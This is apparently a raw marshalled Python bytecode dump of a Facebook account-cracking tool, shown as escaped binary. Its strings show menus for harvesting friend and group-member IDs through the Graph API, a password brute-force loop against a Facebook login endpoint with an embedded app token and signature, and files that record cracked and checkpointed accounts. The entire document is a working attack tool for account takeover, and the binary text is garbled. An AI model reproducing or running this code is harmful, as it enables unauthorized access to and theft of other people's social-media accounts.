01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s6\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x08\x00GHt\t\x00d\x07\x00\x83\x01\x00a\n\x00t\t\x00d\x08\x00\x83\x01\x00a\x0b\x00y~\x00t\x02\x00t\n\x00d\x03\x00\x83\x02\x00a\x0c\x00t\r\x00d\t\x00\x83\x01\x00\x01xC\x00t\x0e\x00d\n\x00\x83\x01\x00D]5\x00}\x01\x00t\x0f\x00j\x10\x00d\x0b\x00t\x11\x00d\x0c\x00d\x0f\x00\x83\x00\x02}\x02\x00|\x02\x00j\x12\x00\x83\x00\x00\x01t\x13\x00j\x14\x00|\x02\x00\x83\x01\x00\x01q\xb3\x00Wx\x18\x00t\x13\x00D]\x10\x00}\x02\x00|\x02\x00j\x15\x00\x83\x00\x00\x01q\xf3\x00WWn\'\x00\x04t\x04\x00k\n\x00r1\x01\x01\x01\x01d\r\x00GHt\t\x00d\x0e\x00\x83\x01\x00\x01t\x16\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x10\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s+\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97ms+\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97ms$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...i(\x00\x00\x00t\x06\x00\x00\x00targett\x04\x00\x00\x00argss\x19\x00\x00\x00\x1b[1;91m[!] File not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m](\x00\x00\x00\x00(\x17\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00t\x06\x00\x00\x00idlistt\x05\x00\x00\x00passwt\x04\x00\x00\x00fileR \x00\x00\x00t\x05\x00\x00\x00ranget\t\x00\x00\x00threadingt\x06\x00\x00\x00Threadt\x05\x00\x00\x00scrakt\x05\x00\x00\x00startt\x07\x00\x00\x00threadsR\x94\x00\x00\x00t\x04\x00\x00\x00joinRv\x00\x00\x00(\x03\x00\x00\x00R4\x00\x00\x00R\x10\x00\x00\x00Rn\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xac\x00\x00\x00\x98\x04\x00\x00s2\x00\x00\x00\x00\x02\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x0c\x01\x0c\x01\x03\x01\x0f\x01\n\x01\x13\x01\x18\x01\n\x01\x11\x01\r\x01\x12\x01\r\x01\x05\x01\n\x01c\x00\x00\x00\x00\t\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00sg\x02\x00\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x11\x00\x04t\x02\x00k\n\x00r$\x00\x01\x01\x01n\x01\x00Xy\xfd\x01t\x03\x00t\x04\x00d\x02\x00\x83\x02\x00}\x00\x00|\x00\x00j\x05\x00\x83\x00\x00j\x06\x00\x83\x00\x00a\x07\x00x\xd5\x01t\x08\x00r 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\x00k\n\x00rG\x02\x01\x01\x01d\x19\x00GHt!\x00j"\x00d\x14\x00\x83\x01\x00\x01n\x1c\x00\x04t\x14\x00j#\x00j$\x00k\n\x00rb\x02\x01\x01\x01d\x1a\x00GHn\x01\x00Xd\x00\x00S(\x1b\x00\x00\x00NR\x90\x00\x00\x00R\'\x00\x00\x00s\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6RQ\x00\x00\x00s\x0e\x00\x00\x00out/mbf_ok.txtR\x11\x00\x00\x00t\x01\x00\x00\x00|s\x01\x00\x00\x00\ns\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s\x1f\x00\x00\x00\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] s\x03\x00\x00\x00 =>R0\x00\x00\x00s\x10\x00\x00\x00www.facebook.comR\xb4\x00\x00\x00s\x0e\x00\x00\x00out/mbf_cp.txts\x1f\x00\x00\x00\x1b[1;97m[ \x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m ] i\x01\x00\x00\x00s<\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m s\x11\x00\x00\x00 \x1b[1;96m>\x1b[1;97m s\x1d\x00\x00\x00 =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96ms%\x00\x00\x00 \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96ms\x11\x00\x00\x00\n\x1b[1;91m[!] Sleeps\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(%\x00\x00\x00R\x05\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R)\x00\x00\x00R\xca\x00\x00\x00R*\x00\x00\x00t\x05\x00\x00\x00splitt\x02\x00\x00\x00upR\xcc\x00\x00\x00t\x08\x00\x00\x00readlinet\x05\x00\x00\x00stripR\xcb\x00\x00\x00R\xbb\x00\x00\x00R\xbc\x00\x00\x00Rd\x00\x00\x00R\xbd\x00\x00\x00t\x04\x00\x00\x00backR\x0e\x00\x00\x00R\x19\x00\x00\x00Rg\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00t\x08\x00\x00\x00berhasilR\x94\x00\x00\x00t\x08\x00\x00\x00cekpointt\x05\x00\x00\x00gagalR\x06\x00\x00\x00R\x18\x00\x00\x00R\x17\x00\x00\x00R\x1b\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00(\t\x00\x00\x00t\x04\x00\x00\x00bukat\x08\x00\x00\x00usernameRk\x00\x00\x00Rl\x00\x00\x00t\x04\x00\x00\x00mpsht\x04\x00\x00\x00bisaR\x10\x00\x00\x00R\x1e\x00\x00\x00R7\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xd0\x00\x00\x00\xb4\x04\x00\x00sF\x00\x00\x00\x00\x02\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\x0f\x01\x12\x01\t\x01\x12\x01\x16\x01\x0f\x01\x0f\x01\x12\x01\x04\x01\x0c\x01\x0f\x01\x19\x01\n\x01\x1f\x01\x12\x01(\x01\x10\x01\x0f\x01\x19\x01\n\x01\x1c\x02\r\x01\n\x01V\x00\x15\x01\r\x01\x05\x01\x10\x01\x13\x01c\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s_\x00\x00\x00Hd\x01\x00d\x02\x00\x14GHx\x13\x00t\x00\x00D]\x0b\x00}\x00\x00|\x00\x00GHq\x11\x00Wx\x13\x00t\x01\x00D]\x0b\x00}\x01\x00|\x01\x00GHq\'\x00Wd\x01\x00d\x02\x00\x14GHd\x03\x00t\x02\x00t\x03\x00t\x04\x00\x83\x01\x00\x83\x01\x00\x17GHt\x05\x00\x83\x00\x00\x01d\x00\x00S(\x04\x00\x00\x00Ni*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x1b\x00\x00\x00\x1b[31m[x] Failed \x1b[1;97m--> (\x06\x00\x00\x00R\xda\x00\x00\x00R\xdb\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\xdc\x00\x00\x00R\x08\x00\x00\x00(\x02\x00\x00\x00t\x01\x00\x00\x00bt\x01\x00\x00\x00c(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xad\x00\x00\x00\xda\x04\x00\x00s\x12\x00\x00\x00\x00\x01\x01\x01\t\x02\r\x01\t\x02\r\x01\t\x02\t\x01\x15\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x96\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00a\x04\x00Wn7\x00\x04t\x05\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x06\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\t\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHt\n\x00\x83\x00\x00\x01d\x00\x00S(\x0c\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s\x15\x00\x00\x001]. Crack list friends\x16\x00\x00\x002]. Crack from friends\x1b\x00\x00\x003]. Crack from member groups\x08\x00\x00\x000]. Backs\x03\x00\x00\x00\xe2\x95\x91(\x0b\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R4\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00t\x0b\x00\x00\x00pilih_super(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xae\x00\x00\x00\xe9\x04\x00\x00s \x00\x00\x00\x00\x02\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x0f\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\x84\x03\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n|\x02|\x00\x00d\x04\x00k\x02\x00r\x9d\x00t\x02\x00j\x03\x00d\x05\x00\x83\x01\x00\x01t\x04\x00GHt\x05\x00d\x06\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x07\x00t\x08\x00\x17\x83\x01\x00}\x01\x00t\t\x00j\n\x00|\x01\x00j\x0b\x00\x83\x01\x00}\x02\x00x,\x02|\x02\x00d\x08\x00\x19D]\x17\x00}\x03\x00t\x0c\x00j\r\x00|\x03\x00d\t\x00\x19\x83\x01\x00\x01q\x7f\x00Wn\x06\x02|\x00\x00d\n\x00k\x02\x00r\x8f\x01t\x02\x00j\x03\x00d\x05\x00\x83\x01\x00\x01t\x04\x00GHt\x00\x00d\x0b\x00\x83\x01\x00}\x04\x00y>\x00t\x06\x00j\x07\x00d\x0c\x00|\x04\x00\x17d\r\x00\x17t\x08\x00\x17\x83\x01\x00}\x05\x00t\t\x00j\n\x00|\x05\x00j\x0b\x00\x83\x01\x00}\x06\x00d\x0e\x00|\x06\x00d\x0f\x00\x19\x17GHWn\'\x00\x04t\x0e\x00k\n\x00r.\x01\x01\x01\x01d\x10\x00GHt\x00\x00d\x11\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00d\x12\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x0c\x00|\x04\x00\x17d\x13\x00\x17t\x08\x00\x17\x83\x01\x00}\x01\x00t\t\x00j\n\x00|\x01\x00j\x0b\x00\x83\x01\x00}\x02\x00x:\x01|\x02\x00d\x08\x00\x19D]\x17\x00}\x07\x00t\x0c\x00j\r\x00|\x07\x00d\t\x00\x19\x83\x01\x00\x01qq\x01Wn\x14\x01|\x00\x00d\x14\x00k\x02\x00r\x81\x02t\x02\x00j\x03\x00d\x05\x00\x83\x01\x00\x01t\x04\x00GHt\x00\x00d\x15\x00\x83\x01\x00}\x08\x00y>\x00t\x06\x00j\x07\x00d\x16\x00|\x08\x00\x17d\x17\x00\x17t\x08\x00\x17\x83\x01\x00}\x01\x00t\t\x00j\n\x00|\x01\x00j\x0b\x00\x83\x01\x00}\t\x00d\x18\x00|\t\x00d\x0f\x00\x19\x17GHWn\'\x00\x04t\x0e\x00k\n\x00r \x02\x01\x01\x01d\x19\x00GHt\x00\x00d\x11\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00d\x1a\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x0c\x00|\x08\x00\x17d\x1b\x00\x17t\x08\x00\x17\x83\x01\x00}\n\x00t\t\x00j\n\x00|\n\x00j\x0b\x00\x83\x01\x00}\x03\x00xH\x00|\x03\x00d\x08\x00\x19D]\x17\x00}\x0b\x00t\x0c\x00j\r\x00|\x0b\x00d\t\x00\x19\x83\x01\x00\x01qc\x02Wn"\x00|\x00\x00d\x1c\x00k\x02\x00r\x97\x02t\x10\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x1d\x00t\x11\x00t\x12\x00t\x0c\x00\x83\x01\x00\x83\x01\x00\x17GHt\x05\x00d\x1e\x00\x83\x01\x00\x01d\x1f\x00d \x00d!\x00g\x03\x00}\x0c\x00x0\x00|\x0c\x00D](\x00}\r\x00d"\x00|\r\x00\x17Gt\x13\x00j\x14\x00j\x15\x00\x83\x00\x00\x01t\x16\x00j\x17\x00d#\x00\x83\x01\x00\x01q\xd8\x02WHd$\x00d%\x00\x14GHd&\x00\x84\x00\x00}\x0e\x00t\x18\x00d\'\x00\x83\x01\x00}\x0b\x00|\x0b\x00j\x19\x00|\x0e\x00t\x0c\x00\x83\x02\x00\x01d$\x00d%\x00\x14GHd(\x00GHd)\x00t\x11\x00t\x12\x00t\x1a\x00\x83\x01\x00\x83\x01\x00\x17d*\x00\x17t\x11\x00t\x12\x00t\x1b\x00\x83\x01\x00\x83\x01\x00\x17GHd+\x00GHt\x00\x00d\x11\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01d\x00\x00S(,\x00\x00\x00Ns\x1d\x00\x00\x00\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97mR\n\x00\x00\x00s\x16\x00\x00\x00\x1b[1;91m[!] Wrong inputR8\x00\x00\x00R&\x00\x00\x00s0\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id \x1b[1;97m...s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=Rl\x00\x00\x00Rj\x00\x00\x00R9\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97ms\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=s7\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m R0\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;91m[!] Friend not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s5\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all id from friend \x1b[1;97m...s\x16\x00\x00\x00/friends?access_token=Rs\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds2\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member id \x1b[1;97m...s5\x00\x00\x00/members?fields=name,id&limit=999999999&access_token=R:\x00\x00\x00s+\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97ms$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...s\x04\x00\x00\x00. s\x04\x00\x00\x00.. s\x04\x00\x00\x00... s0\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack 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\x1b[1;92mDone\x1b[1;97m ] R\xd4\x00\x00\x00s\x03\x00\x00\x00 =>R0\x00\x00\x00s\x10\x00\x00\x00www.facebook.comR\xb4\x00\x00\x00s\x10\x00\x00\x00out/super_cp.txtRm\x00\x00\x00s\x01\x00\x00\x00\nR\xb5\x00\x00\x00R\xb3\x00\x00\x00t\x07\x00\x00\x00gantengR\xb6\x00\x00\x00(\x12\x00\x00\x00R\x05\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00R4\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R\xbb\x00\x00\x00R\xbc\x00\x00\x00R\xbd\x00\x00\x00t\x03\x00\x00\x00oksR\x94\x00\x00\x00R)\x00\x00\x00R\x19\x00\x00\x00Rg\x00\x00\x00R\xdb\x00\x00\x00(\x0e\x00\x00\x00t\x03\x00\x00\x00argt\x04\x00\x00\x00userRm\x00\x00\x00R\xe1\x00\x00\x00t\x05\x00\x00\x00pass1Rl\x00\x00\x00R~\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R7\x00\x00\x00t\x05\x00\x00\x00pass2t\x05\x00\x00\x00pass3t\x05\x00\x00\x00pass4t\x05\x00\x00\x00pass5(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>t\x04\x00\x00\x00main;\x05\x00\x00s\x96\x00\x00\x00\x00\x02\x06\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x02\x1b\x01\x12\x01\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x1f\x01\x12\x01\x1d\x01\x14\x02\x10\x01\x0f\x01\x19\x01\n\x01\x14\x03\x06\x01\x1f\x01\x0f\x01\x0c\x01\x1f\x01\x12\x01\x1d\x01\x14\x02\x10\x01\x0f\x01\x19\x01\n\x01\x14\x03\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x1f\x01\x12\x01\x1d\x01\x14\x02\x10\x01\x0f\x01\x19\x01\n\x01\x14\x03\x06\x01\x1f\x01\x0f\x01\x0c\x01\x1f\x01\x12\x01\x1d\x01\x14\x02\x10\x01\x0f\x01\x19\x01\n\x01\x14\x03\x0e\x01\x1f\x01\x0f\x01\x0c\x01\x1f\x01\x12\x01\x1d\x01\x14\x02\x10\x01\x0f\x01\x19\x01\n\x01\x18\x02\x03\x01i\x1e\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....s.\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal OK/CP \x1b[1;91m: \x1b[1;92ms\x0f\x00\x00\x00\x1b[1;97m/\x1b[1;93ms@\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mCP File saved \x1b[1;91m: \x1b[1;97mout/super_cp.txt(\x1c\x00\x00\x00R/\x00\x00\x00R\xe3\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R.\x00\x00\x00R \x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00R4\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00Rj\x00\x00\x00R\x94\x00\x00\x00R,\x00\x00\x00R\xae\x00\x00\x00Rv\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R\x00\x00\x00\x00t\x03\x00\x00\x00mapR\xe5\x00\x00\x00R\xdb\x00\x00\x00(\x0f\x00\x00\x00t\x04\x00\x00\x00peakR\'\x00\x00\x00R\x1e\x00\x00\x00R\xa2\x00\x00\x00R\x9c\x00\x00\x00R\x9d\x00\x00\x00R\x9e\x00\x00\x00R\x13\x00\x00\x00t\x03\x00\x00\x00idgR\xa0\x00\x00\x00R\xa1\x00\x00\x00t\x01\x00\x00\x00pR!\x00\x00\x00R"\x00\x00\x00R\xed\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xe3\x00\x00\x00\xfc\x04\x00\x00s\x88\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01\r\x01\x05\x01\n\x01\x13\x01\x12\x01\x11\x01\x18\x01\x0c\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\n\x01\x1b\x01\x12\x01\x11\x01\x18\x01\x0c\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\n\x01\x1b\x01\x12\x01\x11\x01\x18\x01\x0c\x01\n\x02\x05\x01\x07\x02\x15\x01\n\x01\x0f\x01\r\x01\x08\x00\r\x00\x11\x01\x01\x01\t\x04\t]\x0c\x01\x10\x01\t\x01\x05\x01)\x01\x05\x01\n\x01c\x00\x00\x00\x00\t\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x8f\x02\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00a\x04\x00Wn7\x00\x04t\x05\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x06\x00j\x07\x00d\x06\x00\x83\x01\x00\x01t\x08\x00\x83\x00\x00\x01n\x01\x00Xt\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\t\x00GHy\xf9\x01t\n\x00d\x07\x00\x83\x01\x00}\x00\x00t\n\x00d\x08\x00\x83\x01\x00}\x01\x00t\x02\x00|\x01\x00d\x03\x00\x83\x02\x00}\x02\x00|\x02\x00j\x0b\x00\x83\x00\x00}\x02\x00d\t\x00d\n\x00\x14GHd\x0b\x00|\x00\x00\x17GHd\x0c\x00t\x0c\x00t\r\x00|\x02\x00\x83\x01\x00\x83\x01\x00\x17d\r\x00\x17GHt\x0e\x00d\x0e\x00\x83\x01\x00\x01t\x02\x00|\x01\x00d\x03\x00\x83\x02\x00}\x03\x00x{\x01|\x03\x00D]s\x01}\x04\x00yA\x01|\x04\x00j\x0f\x00d\x0f\x00d\x10\x00\x83\x02\x00}\x04\x00t\x10\x00j\x11\x00j\x12\x00d\x11\x00|\x04\x00\x17\x83\x01\x00\x01t\x10\x00j\x11\x00j\x13\x00\x83\x00\x00\x01t\x14\x00j\x15\x00d\x12\x00|\x00\x00\x17d\x13\x00\x17|\x04\x00\x17d\x14\x00\x17\x83\x01\x00}\x05\x00t\x16\x00j\x17\x00|\x05\x00j\x18\x00\x83\x01\x00}\x06\x00d\x15\x00|\x06\x00k\x06\x00r\xc8\x01t\x02\x00d\x16\x00d\x17\x00\x83\x02\x00}\x07\x00|\x07\x00j\x12\x00|\x00\x00d\x18\x00\x17|\x04\x00\x17d\x0f\x00\x17\x83\x01\x00\x01|\x07\x00j\x19\x00\x83\x00\x00\x01d\x19\x00GHd\t\x00d\n\x00\x14GHd\x1a\x00|\x00\x00\x17GHd\x1b\x00|\x04\x00\x17GHt\x1a\x00\x83\x00\x00\x01nq\x00d\x1c\x00|\x06\x00d\x1d\x00\x19k\x06\x00r9\x02t\x02\x00d\x1e\x00d\x17\x00\x83\x02\x00}\x08\x00|\x08\x00j\x12\x00|\x00\x00d\x18\x00\x17|\x04\x00\x17d\x0f\x00\x17\x83\x01\x00\x01|\x08\x00j\x19\x00\x83\x00\x00\x01d\x19\x00GHd\t\x00d\n\x00\x14GHd\x1f\x00GHd\x1a\x00|\x00\x00\x17GHd\x1b\x00|\x04\x00\x17GHt\x1a\x00\x83\x00\x00\x01n\x00\x00Wq\xf3\x00\x04t\x14\x00j\x1b\x00j\x1c\x00k\n\x00re\x02\x01\x01\x01d \x00GHt\x06\x00j\x07\x00d\x06\x00\x83\x01\x00\x01q\xf3\x00Xq\xf3\x00WWn\x1d\x00\x04t\x05\x00k\n\x00r\x8a\x02\x01\x01\x01d!\x00GHt\x1d\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S("\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00sX\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m s@\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97mi*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s9\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m s\x1f\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;96m s\x10\x00\x00\x00 \x1b[1;92mPasswords$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...s\x01\x00\x00\x00\nR\n\x00\x00\x00s9\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m: \x1b[1;97ms\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6RQ\x00\x00\x00s\t\x00\x00\x00Brute.txtR\x11\x00\x00\x00s\x03\x00\x00\x00 | s\x18\x00\x00\x00\n\x1b[1;91m[+] \x1b[1;92mFounds-\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m s-\x00\x00\x00\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m s\x10\x00\x00\x00www.facebook.comR\xb4\x00\x00\x00s\x11\x00\x00\x00Brutecekpoint.txts$\x00\x00\x00\x1b[1;91m[!] \x1b[1;93mAccount Checkpoints\x1b\x00\x00\x00\x1b[1;91m[!] Connection Errors\x19\x00\x00\x00\x1b[1;91m[!] File not found(\x1e\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R4\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00t\t\x00\x00\x00readlinesR\x17\x00\x00\x00R\x0e\x00\x00\x00R \x00\x00\x00R\x16\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x19\x00\x00\x00R\x1b\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00Rg\x00\x00\x00R\x08\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00t\x06\x00\x00\x00tanyaw(\t\x00\x00\x00R?\x00\x00\x00R\xcb\x00\x00\x00t\x05\x00\x00\x00totalt\x05\x00\x00\x00sandit\x02\x00\x00\x00pwRl\x00\x00\x00R\xdf\x00\x00\x00t\x05\x00\x00\x00dapatt\x04\x00\x00\x00ceks(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\xaf\x00\x00\x00\xa3\x05\x00\x00sh\x00\x00\x00\x00\x02\r\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\r\x01\x05\x01\x03\x01\x0c\x01\x0c\x01\x0f\x01\x0c\x01\t\x01\t\x01\x19\x01\n\x01\x0f\x01\r\x01\x03\x01\x12\x01\x